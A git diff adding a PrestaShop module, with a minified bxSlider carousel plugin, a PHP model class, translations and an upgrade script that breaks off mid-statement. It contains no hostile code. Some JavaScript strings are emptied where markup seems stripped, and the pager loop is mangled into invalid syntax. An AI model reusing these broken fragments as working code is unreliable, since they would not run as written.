defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/logo.gif b/modules/devspeoffrefidelitevideo/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspeoffrefidelitevideo/logo.gif differ diff --git a/modules/devspeoffrefidelitevideo/logo.png b/modules/devspeoffrefidelitevideo/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspeoffrefidelitevideo/logo.png differ diff --git a/modules/devspeoffrefidelitevideo/offrefidelitevideo.php b/modules/devspeoffrefidelitevideo/offrefidelitevideo.php new file mode 100755 index 0000000..9a788ff --- /dev/null +++ b/modules/devspeoffrefidelitevideo/offrefidelitevideo.php @@ -0,0 +1,112 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Offrefidelitevideo extends ObjectModel +{ + public $title; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspeoffrefidelitevideo_items', + 'primary' => 'id_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt'), + + // Lang fields + 'description' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString','required' => true, 'size' => 4000), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspeoffrefidelitevideo` (`id_shop`, `id_item`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_item = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspeoffrefidelitevideo_items` hss, `'._DB_PREFIX_.'devspeoffrefidelitevideo` hs + WHERE hss.`id_item` = hs.`id_item` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_item) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspeoffrefidelitevideo_items` hss + LEFT JOIN `'._DB_PREFIX_.'devspeoffrefidelitevideo` hs ON (hss.`id_item` = hs.`id_item`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_item = new HomeBlocks($row['id_item']); + --$current_item->position; + $current_item->update(); + unset($current_item); + } + + return true; + } + +} diff --git a/modules/devspeoffrefidelitevideo/translations/en.php b/modules/devspeoffrefidelitevideo/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspeoffrefidelitevideo/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspeoffrefidelitevideo/translations/index.php b/modules/devspeoffrefidelitevideo/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspeoffrefidelitevideo/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/upgrade/install-1.2.1.php b/modules/devspeoffrefidelitevideo/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspeoffrefidelitevideo/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + 